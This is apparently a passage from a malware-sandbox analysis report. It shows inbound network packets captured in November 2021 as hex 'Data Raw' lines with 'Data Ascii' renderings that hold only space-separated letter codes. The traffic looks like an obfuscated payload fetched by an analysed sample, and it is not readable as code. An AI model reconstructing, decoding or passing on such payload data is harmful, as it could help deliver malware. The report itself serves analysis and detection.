4b 45 20 59 78 20 6f 45 4b 20 4f 78 20 4f 59 51 20 4f 6f 6f 20 4f 45 6f 20 4f 4f 4f 20 45 59 20 4f 52 20 4b 6b 20 4b 51 Data Ascii: oYK R KQ Yx Ox kK EK kY oxk OOK oKE Yx OYR OO oo Ooo KO Oxk EY KO Rk YO Ox kK oYo RY oxk OOK EY YO OOt ox OQE OOE Ot Oxk oYK R Rk Yx Qx kY oKo RY kK OOo tx KQ Rk Q OOY OOK Q Oxk OOQ OOo oE Yx tK kY OOY ko OtO Oox oKE Yx oEK Ox OYQ Ooo OEo OOO EY OR Kk KQ
2021-11-09 21:21:48 UTC	190	IN	Data Raw: 4b 20 52 6f 20 45 78 20 6f 4b 74 20 52 4f 20 6f 78 74 20 6b 4f 20 6b 74 20 74 45 20 51 4b 20 4f 6f 59 20 59 59 20 4b 6b 20 6b 6f 20 59 4b 20 4f 6b 51 20 4f 6f 59 20 4f 4f 6f 20 4f 78 51 20 6f 78 20 59 78 20 6f 4f 51 20 52 4f 20 59 4f 20 6b 4b 20 6f 52 20 4f 4f 74 20 4f 6f 6b 20 4f 6f 74 20 59 59 20 4b 6b 20 51 4b 20 59 4b 20 4f 6b 74 20 4f 6f 59 20 4f 78 45 20 4f 78 51 20 51 45 20 59 4f 20 4f 51 45 20 52 4f 20 45 52 20 6b 4b 20 74 59 20 4f 4f 52 20 4f 59 52 20 4f 6f 74 20 59 6b 20 4b 6b 20 4f 4f 78 20 59 59 20 4f 52 59 20 4f 6f 59 20 4f 6f 59 20 4f 78 51 20 4f 52 20 59 4f 20 4f 51 6b 20 52 4f 20 52 6f 20 6b 4b 20 6f 52 20 4f 4f 52 20 4f 59 52 20 4f 6f 74 20 59 6b 20 4b 6b 20 51 4b 20 59 59 20 4f 52 6f 20 4f 6f 59 20 4f 6f 59 20 4f 78 51 20 78 20 59 4f 20 Data Ascii: K Ro Ex oKt RO oxt kO kt tE QK OoY YY Kk ko YK OkQ OoY OOo OxQ ox Yx oOQ RO YO kK oR OOt Ook Oot YY Kk QK YK Okt OoY OxE OxQ QE YO OQE RO ER kK tY OOR OYR Oot Yk Kk OOx YY ORY OoY OoY OxQ OR YO OQk RO Ro kK oR OOR OYR Oot Yk Kk QK YY ORo OoY OoY OxQ x YO
2021-11-09 21:21:48 UTC	193	IN	Data Raw: 59 6f 20 4f 78 4f 20 4f 51 59 20 59 78 20 4f 6f 52 20 4b 78 20 4f 4b 51 20 51 6f 20 4b 51 20 4f 4f 74 20 4f 59 59 20 4f 6f 74 20 4f 59 59 20 59 52 20 4f 6f 51 20 59 4b 20 4f 78 20 4f 78 4b 20 4f 6b 6f 20 4f 78 4f 20 59 4f 20 59 78 20 4f 51 6b 20 52 4f 20 6f 59 59 20 51 6f 20 4f 51 45 20 4f 4f 74 20 6b 45 20 4f 78 52 20 6f 78 51 20 59 52 20 4f 4f 45 20 59 4b 20 4f 52 6f 20 4f 6f 59 20 4f 59 52 20 4f 78 4f 20 4f 51 59 20 59 78 20 4f 6f 52 20 4b 78 20 59 45 20 51 45 20 4b 51 20 4f 4f 74 20 4f 59 59 20 4f 6f 74 20 59 4b 20 59 74 20 51 74 20 59 4b 20 4f 52 6f 20 4f 6f 59 20 4f 6f 4b 20 4f 78 78 20 4f 51 59 20 59 78 20 4f 4f 78 20 4b 78 20 45 4f 20 51 45 20 4f 51 45 20 4f 4f 74 20 6b 45 20 4f 78 52 20 4f 6f 45 20 59 74 20 4f 6f 51 20 59 4b 20 6f 52 20 4f 78 4b Data Ascii: Yo OxO OQY Yx OoR Kx OKQ Qo KQ OOt OYY Oot OYY YR OoQ YK Ox OxK Oko OxO YO Yx OQk RO oYY Qo OQE OOt kE OxR oxQ YR OOE YK ORo OoY OYR OxO OQY Yx OoR Kx YE QE KQ OOt OYY Oot YK Yt Qt YK ORo OoY OoK Oxx OQY Yx OOx Kx EO QE OQE OOt kE OxR OoE Yt OoQ YK oR OxK
2021-11-09 21:21:48 UTC	197	IN	Data Raw: 20 4f 51 6b 20 52 4f 20 4f 59 78 20 4f 4f 4b 20 4b 51 20 4f 4f 74 20 4f 59 59 20 4f 6f 74 20 6f 4b 6f 20 6f 6f 20 4f 4f 45 20 59 4b 20 4f 52 6f 20 4f 6f 59 20 4f 4b 51 20 74 59 20 59 4f 20 59 78 20 4f 51 6b 20 52 4f 20 59 4b 20 4f 4f 59 20 4b 51 20 4f 4f 74 20 4f 59 59 20 4f 6f 74 20 4f 6b 20 6f 45 20 4f 4f 45 20 59 4b 20 4f 52 6f 20 4f 6f 59 20 59 45 20 74 4b 20 59 4f 20 59 78 20 4f 51 6b 20 52 4f 20 4f 6b 6f 20 4f 4f 59 20 4b 51 20 4f 4f 74 20 4f 59 59 20 4f 6f 74 20 4f 4b 52 20 6f 45 20 4f 4f 45 20 59 4b 20 4f 52 6f 20 4f 6f 59 20 4f 6b 4f 20 74 4b 20 59 4f 20 59 78 20 4f 51 6b 20 52 4f 20 6f 4f 4b 20 4f 4f 59 20 4b 51 20 4f 4f 74 20 4f 59 59 20 4f 6f 74 20 59 78 20 6f 4b 20 4f 4f 45 20 59 4b 20 4f 52 6f 20 4f 6f 59 20 6b 59 20 52 51 20 59 4f 20 59 78 Data Ascii: OQk RO OYx OOK KQ OOt OYY Oot oKo oo OOE YK ORo OoY OKQ tY YO Yx OQk RO YK OOY KQ OOt OYY Oot Ok oE OOE YK ORo OoY YE tK YO Yx OQk RO Oko OOY KQ OOt OYY Oot OKR oE OOE YK ORo OoY OkO tK YO Yx OQk RO oOK OOY KQ OOt OYY Oot Yx oK OOE YK ORo OoY kY RQ YO Yx
2021-11-09 21:21:48 UTC	201	IN	Data Raw: 6f 45 20 4f 4f 6f 20 59 4f 20 4b 6b 20 4b 6f 20 52 4f 20 6b 4b 20 4f 4f 4b 20 4f 4b 20 4f 78 51 20 59 59 20 59 78 20 74 4b 20 59 4f 20 4f 45 59 20 6b 59 20 4f 59 45 20 4f 4f 52 20 4f 6f 59 20 4f 4f 4b 20 6b 20 59 78 20 4f 4f 6b 20 59 6f 20 59 6f 20 4f 4f 6f 20 6f 78 51 20 4f 4f 4f 20 4f 6b 4b 20 4b 6b 20 4f 51 52 20 4b 6b 20 45 74 20 6b 74 20 52 4b 20 4f 4f 6b 20 45 6f 20 4f 4f 59 20 4f 4f 4f 20 59 4f 20 6f 4b 4f 20 59 45 20 4f 74 52 20 4f 4f 45 20 4f 45 6f 20 4f 4f 78 20 4f 4f 51 20 59 4b 20 45 59 20 59 4b 20 4b 6f 20 6b 78 20 52 4b 20 4f 4f 45 20 6b 4b 20 4f 4f 52 20 4f 78 4b 20 59 6f 20 4f 6b 78 20 59 78 20 4f 51 59 20 4f 4f 6b 20 4f 4f 59 20 4f 78 4b 20 4f 6f 6f 20 59 59 20 4b 59 20 59 59 20 4f 78 59 20 6b 4f 20 6f 6f 4b 20 4f 4f 6f 20 6f 4f 74 20 4f Data Ascii: oE OOo YO Kk Ko RO kK OOK OK OxQ YY Yx tK YO OEY kY OYE OOR OoY OOK k Yx OOk Yo Yo OOo oxQ OOO OkK Kk OQR Kk Et kt RK OOk Eo OOY OOO YO oKO YE OtR OOE OEo OOx OOQ YK EY YK Ko kx RK OOE kK OOR OxK Yo Okx Yx OQY OOk OOY OxK Ooo YY KY YY OxY kO ooK OOo oOt O
2021-11-09 21:21:48 UTC	205	IN	Data Raw: 4b 51 20 59 78 20 51 20 6b 59 20 59 4f 20 4f 4f 74 20 4f 4f 4f 20 4f 4f 6f 20 4f 4f 4b 20 4b 51 20 4f 4f 45 20 59 4b 20 6b 59 20 4f 4f 4b 20 59 6f 20 4f 78 6b 20 59 4f 20 59 78 20 59 78 20 59 78 20 4f 4f 52 20 6b 59 20 59 59 20 4f 4f 74 20 4f 78 6b 20 4f 4f 6f 20 4f 4f 45 20 4b 51 20 4f 4f 51 20 59 4b 20 6b 52 20 4f 4f 4b 20 4b 6b 20 4f 78 6b 20 59 59 20 59 78 20 4b 51 20 59 78 20 4f 4f 6f 20 6b 59 20 59 45 20 4f 4f 74 20 4f 4f 4f 20 4f 4f 6f 20 4f 4f 74 20 4b 51 20 4f 6f 45 20 59 4b 20 6b 59 20 4f 4f 4b 20 52 4f 20 4f 78 6b 20 59 74 20 59 78 20 59 78 20 59 78 20 4f 6f 74 20 6b 59 20 59 74 20 4f 4f 74 20 4f 78 6b 20 4f 4f 6f 20 4f 6f 78 20 4b 51 20 4f 6f 4f 20 59 4b 20 6b 52 20 4f 4f 4b 20 45 52 20 4f 78 6b 20 52 4f 20 59 78 20 4b 51 20 59 78 20 4f 78 78 Data Ascii: KQ Yx Q kY YO OOt OOO OOo OOK KQ OOE YK kY OOK Yo Oxk YO Yx Yx Yx OOR kY YY OOt Oxk OOo OOE KQ OOQ YK kR OOK Kk Oxk YY Yx KQ Yx OOo kY YE OOt OOO OOo OOt KQ OoE YK kY OOK RO Oxk Yt Yx Yx Yx Oot kY Yt OOt Oxk OOo Oox KQ OoO YK kR OOK ER Oxk RO Yx KQ Yx Oxx
2021-11-09 21:21:48 UTC	210	IN	Data Raw: 4f 51 74 20 4f 4f 59 20 4f 4f 74 20 6f 4f 4b 20 4f 4f 6f 20 6f 59 4b 20 4f 52 4f 20 59 4f 20 59 4b 20 6f 45 6f 20 4f 4f 4b 20 4f 52 51 20 6f 59 6f 20 4f 4f 45 20 59 78 20 4f 4b 4f 20 59 78 20 4f 51 4b 20 4f 51 74 20 4f 4f 59 20 4f 4f 74 20 6f 4f 4f 20 4f 4f 6f 20 59 4b 20 4f 52 6f 20 59 4f 20 59 4b 20 6f 45 59 20 4f 4f 4b 20 4f 6f 4f 20 6f 59 59 20 4f 4f 45 20 59 78 20 6f 4b 78 20 59 78 20 4b 6f 20 4f 51 6b 20 4f 4f 59 20 4f 4f 74 20 4f 74 6f 20 4f 4f 6f 20 4f 4b 20 4f 52 6f 20 59 4f 20 59 4b 20 4f 59 78 20 4f 4f 4b 20 45 45 20 6f 59 59 20 4f 4f 45 20 59 78 20 6f 4b 45 20 59 78 20 52 52 20 4f 51 6b 20 4f 4f 59 20 4f 4f 74 20 4f 52 51 20 4f 4f 6f 20 4f 59 78 20 4f 52 6f 20 59 4f 20 59 4b 20 4f 4b 59 20 4f 4f 4b 20 4f 74 74 20 6f 59 4b 20 4f 4f 45 20 59 78 Data Ascii: OQt OOY OOt oOK OOo oYK ORO YO YK oEo OOK ORQ oYo OOE Yx OKO Yx OQK OQt OOY OOt oOO OOo YK ORo YO YK oEY OOK OoO oYY OOE Yx oKx Yx Ko OQk OOY OOt Oto OOo OK ORo YO YK OYx OOK EE oYY OOE Yx oKE Yx RR OQk OOY OOt ORQ OOo OYx ORo YO YK OKY OOK Ott oYK OOE Yx
2021-11-09 21:21:48 UTC	214	IN	Data Raw: 20 4b 6f 20 52 6f 20 4b 20 6b 45 20 52 6b 20 51 4f 20 6b 59 20 6f 4f 20 78 20 74 20 4f 6f 20 51 20 4f 6f 45 20 51 4b 20 51 4f 20 52 52 20 78 20 4f 4f 20 59 20 6b 20 45 59 20 51 4f 20 74 4b 20 6b 74 20 4f 4f 20 4f 78 6f 20 74 4b 20 52 59 20 51 45 20 4f 4f 6f 20 4f 78 51 20 4f 4f 4f 20 51 74 20 52 52 20 59 45 20 52 20 6f 6b 20 4f 4b 20 4b 51 20 52 4b 20 52 52 20 6b 45 20 74 51 20 6f 51 20 6f 6b 20 6f 6b 20 6f 59 20 45 52 20 74 59 20 52 4b 20 6b 74 20 4f 78 4f 20 52 4f 20 6b 20 4f 52 20 6b 78 20 52 6b 20 6f 20 4b 6b 20 59 20 4f 20 6f 4f 20 74 59 20 52 74 20 6b 59 20 52 74 20 4f 4f 52 20 4f 4f 45 20 4f 4f 52 20 4b 20 4f 74 20 4b 51 20 74 52 20 4b 78 20 59 4f 20 4f 20 4f 4f 52 20 4f 4f 59 20 4f 4f 52 20 6f 45 20 52 52 20 74 52 20 4b 4f 20 52 74 20 4f 20 4f 4f Data Ascii: Ko Ro K kE Rk QO kY oO x t Oo Q OoE QK QO RR x OO Y k EY QO tK kt OO Oxo tK RY QE OOo OxQ OOO Qt RR YE R ok OK KQ RK RR kE tQ oQ ok ok oY ER tY RK kt OxO RO k OR kx Rk o Kk Y O oO tY Rt kY Rt OOR OOE OOR K Ot KQ tR Kx YO O OOR OOY OOR oE RR tR KO Rt O OO
2021-11-09 21:21:48 UTC	224	IN	Data Raw: 6b 4f 20 74 6b 20 4f 4f 20 4f 4f 4f 20 4f 78 51 20 52 20 4f 4f 20 52 6b 20 4f 4f 74 20 6b 4f 20 45 59 20 6f 6f 74 20 4f 74 74 20 6f 6f 52 20 4f 45 4b 20 59 6b 20 74 52 20 6f 45 20 59 78 20 4b 74 20 6f 20 4f 4f 4f 20 4b 20 59 4b 20 59 4f 20 6f 45 20 4f 20 59 78 20 59 74 20 6b 52 20 52 20 59 78 20 52 51 20 4b 51 20 52 20 4b 6f 20 45 52 20 6f 78 20 4b 20 4b 6b 20 4f 4f 51 20 6b 6b 20 45 6f 20 6f 74 20 4f 20 6f 78 20 74 78 20 59 78 20 4f 6f 4f 20 6b 52 20 74 20 51 51 20 4f 4f 4b 20 4b 6b 20 45 20 4b 20 51 4f 20 52 6b 20 74 59 20 74 20 51 51 20 4f 4f 4b 20 59 4f 20 4b 74 20 74 4f 20 59 20 4f 4f 45 20 4f 4f 59 20 4f 4b 20 6f 45 20 59 4b 20 59 6f 20 4b 45 20 52 6b 20 4f 4f 6b 20 6f 20 45 20 4f 59 20 4f 78 6f 20 52 6b 20 74 52 20 51 4f 20 52 74 20 74 20 78 20 4f Data Ascii: kO tk OO OOO OxQ R OO Rk OOt kO EY oot Ott ooR OEK Yk tR oE Yx Kt o OOO K YK YO oE O Yx Yt kR R Yx RQ KQ R Ko ER ox K Kk OOQ kk Eo ot O ox tx Yx OoO kR t QQ OOK Kk E K QO Rk tY t QQ OOK YO Kt tO Y OOE OOY OK oE YK Yo KE Rk OOk o E OY Oxo Rk tR QO Rt t x O
2021-11-09 21:21:48 UTC	230	IN	Data Raw: 20 4f 4f 45 20 78 20 6f 4f 20 74 78 20 52 74 20 4b 78 20 52 51 20 4f 4f 45 20 45 20 4f 4f 45 20 4f 4f 59 20 51 74 20 52 59 20 4b 6b 20 51 45 20 4b 51 20 4f 4f 51 20 52 20 4f 4f 6f 20 4f 4f 51 20 4f 74 20 59 59 20 52 52 20 51 78 20 52 6b 20 4b 20 4f 4f 52 20 59 78 20 6b 59 20 59 4b 20 59 4f 20 59 6f 20 4b 4f 20 4f 4f 6f 20 4b 20 45 20 74 20 59 20 6f 6f 20 52 6b 20 74 74 20 6b 59 20 59 78 20 4f 4f 20 51 20 4f 4f 59 20 59 20 51 74 20 74 78 20 74 78 20 6b 4b 20 52 74 20 78 20 4f 4f 45 20 4f 4f 59 20 74 20 4f 78 6f 20 52 51 20 4b 51 20 4b 4b 20 4b 51 20 6f 20 4f 4f 74 20 52 20 4f 4b 20 4f 6b 20 4b 6b 20 59 4b 20 51 4f 20 52 6b 20 4b 20 4f 4f 4b 20 4f 4f 6f 20 4f 4f 4b 20 6b 4b 20 4b 6b 20 52 4b 20 4b 74 20 52 6b 20 4f 4f 52 20 4f 4f 45 20 78 20 59 20 51 6b 20 Data Ascii: OOE x oO tx Rt Kx RQ OOE E OOE OOY Qt RY Kk QE KQ OOQ R OOo OOQ Ot YY RR Qx Rk K OOR Yx kY YK YO Yo KO OOo K E t Y oo Rk tt kY Yx OO Q OOY Y Qt tx tx kK Rt x OOE OOY t Oxo RQ KQ KK KQ o OOt R OK Ok Kk YK QO Rk K OOK OOo OOK kK Kk RK Kt Rk OOR OOE x Y Qk
2021-11-09 21:21:48 UTC	246	IN	Data Raw: 6b 4f 20 6b 4f 20 74 78 20 6b 45 20 52 20 6f 45 20 6f 6f 20 4b 20 78 20 51 4f 20 6b 59 20 51 6f 20 52 52 20 6f 45 20 45 78 20 6f 6b 20 6b 20 45 78 20 74 78 20 4f 4f 59 20 52 4b 20 6b 45 20 4b 6b 20 6f 45 20 6f 74 20 6f 59 20 6f 59 20 6b 45 20 51 6f 20 59 78 20 6b 59 20 59 4b 20 52 6f 20 6f 78 20 4f 59 20 6f 4f 20 51 4b 20 4b 6b 20 52 52 20 6b 4b 20 6f 4b 20 4f 51 20 6f 45 20 6b 20 6f 6b 20 59 78 20 51 51 20 74 59 20 52 51 20 45 6f 20 6f 45 20 6f 4b 20 52 74 20 45 59 20 6b 74 20 52 52 20 52 6b 20 51 59 20 59 59 20 6f 45 20 59 52 20 6f 20 6f 78 20 6b 74 20 51 6f 20 59 78 20 4f 4f 74 20 45 6b 20 6f 45 20 6f 78 20 6f 59 20 6f 4f 20 4f 4f 45 20 6b 6b 20 6b 45 20 6b 6b 20 59 6b 20 6f 45 20 6f 59 20 4f 78 51 20 59 74 20 4f 4f 45 20 51 6f 20 51 4f 20 6b 45 20 59 Data Ascii: kO kO tx kE R oE oo K x QO kY Qo RR oE Ex ok k Ex tx OOY RK kE Kk oE ot oY oY kE Qo Yx kY YK Ro ox OY oO QK Kk RR kK oK OQ oE k ok Yx QQ tY RQ Eo oE oK Rt EY kt RR Rk QY YY oE YR o ox kt Qo Yx OOt Ek oE ox oY oO OOE kk kE kk Yk oE oY OxQ Yt OOE Qo QO kE Y
2021-11-09 21:21:48 UTC	256	IN	Data Raw: 74 20 6b 51 20 59 6b 20 52 20 6f 51 20 45 78 20 4f 4f 6f 20 74 78 20 6b 6b 20 51 4f 20 52 51 20 6b 4b 20 6f 4f 20 4f 52 20 6f 59 20 4b 74 20 4f 78 6f 20 6b 51 20 6b 4f 20 51 45 20 45 51 20 4f 4f 4b 20 6f 59 20 4b 20 45 78 20 6b 51 20 52 74 20 59 78 20 52 6b 20 4b 51 20 45 4f 20 6f 52 20 6f 59 20 6f 4f 20 4f 78 6f 20 6b 4f 20 52 59 20 51 45 20 45 51 20 4f 4f 4b 20 45 45 20 45 4f 20 51 20 4f 4f 74 20 6b 59 20 74 78 20 51 6b 20 59 45 20 4f 20 45 78 20 45 78 20 4f 4f 6f 20 74 78 20 6b 4f 20 52 59 20 51 45 20 45 51 20 4f 4f 4b 20 59 74 20 6f 20 4f 51 20 6b 45 20 51 6f 20 52 59 20 59 4b 20 59 4f 20 6f 45 20 4f 20 59 78 20 59 4f 20 52 4b 20 6b 59 20 6b 52 20 6b 45 20 59 6b 20 52 20 6f 6b 20 4f 6f 20 6f 6b 20 52 59 20 4b 6b 20 51 74 20 6b 59 20 59 45 20 6f 6b 20 Data Ascii: t kQ Yk R oQ Ex OOo tx kk QO RQ kK oO OR oY Kt Oxo kQ kO QE EQ OOK oY K Ex kQ Rt Yx Rk KQ EO oR oY oO Oxo kO RY QE EQ OOK EE EO Q OOt kY tx Qk YE O Ex Ex OOo tx kO RY QE EQ OOK Yt o OQ kE Qo RY YK YO oE O Yx YO RK kY kR kE Yk R ok Oo ok RY Kk Qt kY YE ok
2021-11-09 21:21:48 UTC	272	IN	Data Raw: 78 6f 20 6b 4b 20 59 6f 20 4f 4f 74 20 4b 20 4f 4f 6f 20 51 4b 20 4b 6b 20 6b 74 20 59 4b 20 4f 6f 6f 20 4f 4f 4b 20 45 4b 20 4f 78 51 20 6f 20 59 78 20 6b 51 20 59 78 20 52 52 20 6b 4b 20 6f 45 20 4f 4f 74 20 52 45 20 4f 4f 6f 20 4f 6f 59 20 4b 6b 20 4f 4f 52 20 59 4b 20 6f 51 20 4f 4f 4b 20 59 74 20 4f 78 51 20 59 45 20 59 78 20 6f 4f 20 59 78 20 4f 78 52 20 6b 4b 20 59 4f 20 4f 4f 74 20 6f 51 20 4f 4f 6f 20 52 52 20 4b 6b 20 4f 4f 52 20 59 4b 20 52 4f 20 4f 4f 4b 20 6f 59 20 4f 78 51 20 6f 4f 20 59 78 20 45 78 20 59 78 20 51 74 20 6b 4b 20 78 20 4f 4f 74 20 4b 20 4f 4f 6f 20 74 78 20 4b 6b 20 6b 74 20 59 4b 20 4f 52 20 4f 4f 4b 20 6f 78 20 4f 78 51 20 4b 20 59 78 20 6b 4f 20 59 78 20 4f 78 52 20 6b 4b 20 45 6f 20 4f 4f 74 20 6f 20 4f 4f 6f 20 6b 45 20 Data Ascii: xo kK Yo OOt K OOo QK Kk kt YK Ooo OOK EK OxQ o Yx kQ Yx RR kK oE OOt RE OOo OoY Kk OOR YK oQ OOK Yt OxQ YE Yx oO Yx OxR kK YO OOt oQ OOo RR Kk OOR YK RO OOK oY OxQ oO Yx Ex Yx Qt kK x OOt K OOo tx Kk kt YK OR OOK ox OxQ K Yx kO Yx OxR kK Eo OOt o OOo kE
2021-11-09 21:21:48 UTC	288	IN	Data Raw: 59 20 4f 6f 4b 20 51 52 20 4f 6f 74 20 51 45 20 59 4f 20 52 6f 20 45 51 20 45 52 20 4f 6f 4f 20 4f 4f 59 20 4f 6f 45 20 4f 4f 6f 20 4f 6f 52 20 59 6b 20 52 6f 20 4b 6b 20 4b 45 20 74 78 20 6f 4b 6f 20 6f 6f 78 20 4f 6f 78 20 51 74 20 4f 4f 20 4b 51 20 52 78 20 59 52 20 74 78 20 4f 51 20 4f 4f 51 20 4f 78 4f 20 4f 6f 78 20 45 6f 20 4f 74 52 20 4f 59 59 20 59 52 20 6b 4f 20 4f 4f 4b 20 4f 4f 52 20 4f 4f 6f 20 4f 6f 52 20 52 78 20 59 4b 20 4f 6b 20 59 4b 20 74 45 20 51 52 20 6f 4b 59 20 4f 51 52 20 4f 4f 74 20 4f 6b 20 4b 51 20 4b 6b 20 45 74 20 6b 4b 20 51 4b 20 4f 4f 4b 20 4f 6f 52 20 4f 78 4f 20 45 6f 20 6f 51 20 59 4f 20 45 52 20 6f 4f 45 20 4f 4f 4b 20 4f 6f 74 20 4f 6f 78 20 51 6b 20 74 20 4b 51 20 52 78 20 59 52 20 74 45 20 4f 6f 4b 20 4f 6f 45 20 4f Data Ascii: Y OoK QR Oot QE YO Ro EQ ER OoO OOY OoE OOo OoR Yk Ro Kk KE tx oKo oox Oox Qt OO KQ Rx YR tx OQ OOQ OxO Oox Eo OtR OYY YR kO OOK OOR OOo OoR Rx YK Ok YK tE QR oKY OQR OOt Ok KQ Kk Et kK QK OOK OoR OxO Eo oQ YO ER oOE OOK Oot Oox Qk t KQ Rx YR tE OoK OoE O
2021-11-09 21:21:49 UTC	304	IN	Data Raw: 59 74 20 6f 45 20 6f 20 6f 20 6f 20 6b 51 20 6f 6b 20 4f 78 78 20 6b 45 20 45 6b 20 4f 20 6f 6b 20 6f 20 45 78 20 4f 59 20 74 78 20 52 20 6f 4b 20 4f 78 78 20 4f 4f 59 20 4f 4f 74 20 59 74 20 4f 6f 52 20 45 6b 20 4f 4f 6b 20 52 4b 20 6b 74 20 59 74 20 6f 45 20 6f 20 6f 20 6f 20 6b 51 20 4f 4f 52 20 51 4f 20 52 51 20 45 52 20 45 78 20 6f 78 20 6f 78 20 52 6f 20 6b 45 20 51 45 20 6b 74 20 45 6b 20 4f 6f 6f 20 52 78 20 4b 6b 20 59 74 20 6b 78 20 4f 4f 52 20 52 52 20 6b 45 20 51 4f 20 4b 51 20 59 20 6f 52 20 45 4f 20 6f 74 20 4f 6b 20 4b 20 52 4f 20 59 59 20 6b 4b 20 4f 4f 59 20 4f 4f 74 20 59 74 20 4f 6f 52 20 59 4b 20 4f 6f 52 20 6b 45 20 51 4f 20 4b 51 20 4f 4f 45 20 52 78 20 51 20 52 59 20 52 4f 20 4b 51 20 59 78 20 59 59 20 6b 4b 20 45 6b 20 4f 6f 45 20 Data Ascii: Yt oE o o o kQ ok Oxx kE Ek O ok o Ex OY tx R oK Oxx OOY OOt Yt OoR Ek OOk RK kt Yt oE o o o kQ OOR QO RQ ER Ex ox ox Ro kE QE kt Ek Ooo Rx Kk Yt kx OOR RR kE QO KQ Y oR EO ot Ok K RO YY kK OOY OOt Yt OoR YK OoR kE QO KQ OOE Rx Q RY RO KQ Yx YY kK Ek OoE
2021-11-09 21:21:49 UTC	320	IN	Data Raw: 4f 4f 20 6b 4b 20 45 74 20 4f 4f 74 20 6f 4f 20 4f 4f 6f 20 52 59 20 4b 6b 20 4f 78 4b 20 59 4b 20 4f 6f 20 4f 4f 4b 20 45 52 20 4f 78 51 20 59 51 20 59 78 20 6b 4f 20 59 78 20 4f 6f 52 20 6b 4b 20 4b 6b 20 4f 4f 74 20 45 20 4f 4f 6f 20 6b 78 20 4b 6b 20 4f 4f 74 20 59 4b 20 4f 4b 20 4f 4f 4b 20 6f 52 20 4f 78 51 20 4b 6f 20 59 78 20 6f 20 59 78 20 4f 78 6b 20 6b 4b 20 74 20 4f 4f 74 20 4f 6f 20 4f 4f 6f 20 4f 4f 74 20 4b 6b 20 4f 6f 78 20 59 4b 20 59 6b 20 4f 4f 4b 20 6f 6f 20 4f 78 51 20 59 59 20 59 78 20 52 4b 20 59 78 20 51 45 20 6b 4b 20 4b 78 20 4f 4f 74 20 59 6b 20 4f 4f 6f 20 74 20 4b 6b 20 52 74 20 59 4b 20 4f 4b 20 4f 4f 4b 20 74 4f 20 4f 78 51 20 52 59 20 59 78 20 51 4f 20 59 78 20 4f 78 6b 20 6b 4b 20 52 4b 20 4f 4f 74 20 6b 4b 20 4f 4f 6f 20 Data Ascii: OO kK Et OOt oO OOo RY Kk OxK YK Oo OOK ER OxQ YQ Yx kO Yx OoR kK Kk OOt E OOo kx Kk OOt YK OK OOK oR OxQ Ko Yx o Yx Oxk kK t OOt Oo OOo OOt Kk Oox YK Yk OOK oo OxQ YY Yx RK Yx QE kK Kx OOt Yk OOo t Kk Rt YK OK OOK tO OxQ RY Yx QO Yx Oxk kK RK OOt kK OOo
2021-11-09 21:21:49 UTC	336	IN	Data Raw: 6b 4b 20 4f 4f 4b 20 4f 4f 74 20 4f 78 51 20 4f 4f 6f 20 59 78 20 4b 6b 20 59 78 20 59 4b 20 6b 4b 20 4f 4f 4b 20 4f 4f 74 20 4f 78 51 20 4f 4f 6f 20 59 78 20 4b 6b 20 59 78 20 59 4b 20 6b 4b 20 4f 4f 4b 20 4f 4f 74 20 4f 78 51 20 4f 4f 6f 20 59 78 20 4b 6b 20 59 78 20 59 4b 20 6b 4b 20 4f 4f 4b 20 4f 4f 74 20 4f 78 51 20 4f 4f 6f 20 59 78 20 4b 6b 20 59 78 20 59 4b 20 6b 4b 20 4f 4f 4b 20 4f 4f 74 20 4f 78 51 20 4f 4f 6f 20 59 78 20 4b 6b 20 59 78 20 59 4b 20 6b 4b 20 4f 4f 4b 20 4f 4f 74 20 4f 78 51 20 4f 4f 6f 20 59 78 20 4b 6b 20 59 78 20 59 4b 20 6b 4b 20 4f 4f 4b 20 4f 4f 74 20 4f 78 51 20 4f 4f 6f 20 59 78 20 4b 6b 20 59 78 20 59 4b 20 6b 4b 20 4f 4f 4b 20 4f 4f 74 20 4f 78 51 20 4f 4f 6f 20 59 78 20 4b 6b 20 59 78 20 59 4b 20 6b 4b 20 4f 4f 4b 20 Data Ascii: kK OOK OOt OxQ OOo Yx Kk Yx YK kK OOK OOt OxQ OOo Yx Kk Yx YK kK OOK OOt OxQ OOo Yx Kk Yx YK kK OOK OOt OxQ OOo Yx Kk Yx YK kK OOK OOt OxQ OOo Yx Kk Yx YK kK OOK OOt OxQ OOo Yx Kk Yx YK kK OOK OOt OxQ OOo Yx Kk Yx YK kK OOK OOt OxQ OOo Yx Kk Yx YK kK OOK
2021-11-09 21:21:49 UTC	352	IN	Data Raw: 45 6f 20 59 78 20 78 20 78 20 78 20 4b 78 20 6f 6b 20 78 20 78 20 4f 78 20 78 20 45 6f 20 74 59 20 78 20 78 20 78 20 6f 59 4b 20 4f 4b 20 6f 20 78 20 4b 78 20 59 52 20 78 20 78 20 4f 78 20 78 20 45 6f 20 74 52 20 78 20 78 20 78 20 6f 59 4b 20 4f 4b 20 6f 20 78 20 6f 59 4b 20 4f 6f 20 6f 52 20 78 20 6f 59 4b 20 4f 4b 20 6f 6b 20 78 20 6f 59 4b 20 4f 6f 20 6f 6b 20 78 20 59 74 20 52 20 78 20 78 20 78 20 59 52 20 45 51 20 78 20 78 20 78 20 78 20 78 20 45 6f 20 74 51 20 78 20 78 20 78 20 6f 59 4b 20 4f 4b 20 6f 20 78 20 6f 59 4b 20 4f 6f 20 6f 74 20 78 20 45 6f 20 4f 20 78 20 78 20 78 20 6f 4f 4b 20 6f 59 4b 20 4f 4b 20 6f 74 20 78 20 6f 59 4b 20 4f 6f 20 6f 74 20 78 20 45 6f 20 4f 78 20 78 20 78 20 78 20 52 6f 20 4f 6f 59 20 6f 59 59 20 6f 59 59 20 6f 59 59 Data Ascii: Eo Yx x x x Kx ok x x Ox x Eo tY x x x oYK OK o x Kx YR x x Ox x Eo tR x x x oYK OK o x oYK Oo oR x oYK OK ok x oYK Oo ok x Yt R x x x YR EQ x x x x x Eo tQ x x x oYK OK o x oYK Oo ot x Eo O x x x oOK oYK OK ot x oYK Oo ot x Eo Ox x x x Ro OoY oYY oYY oYY
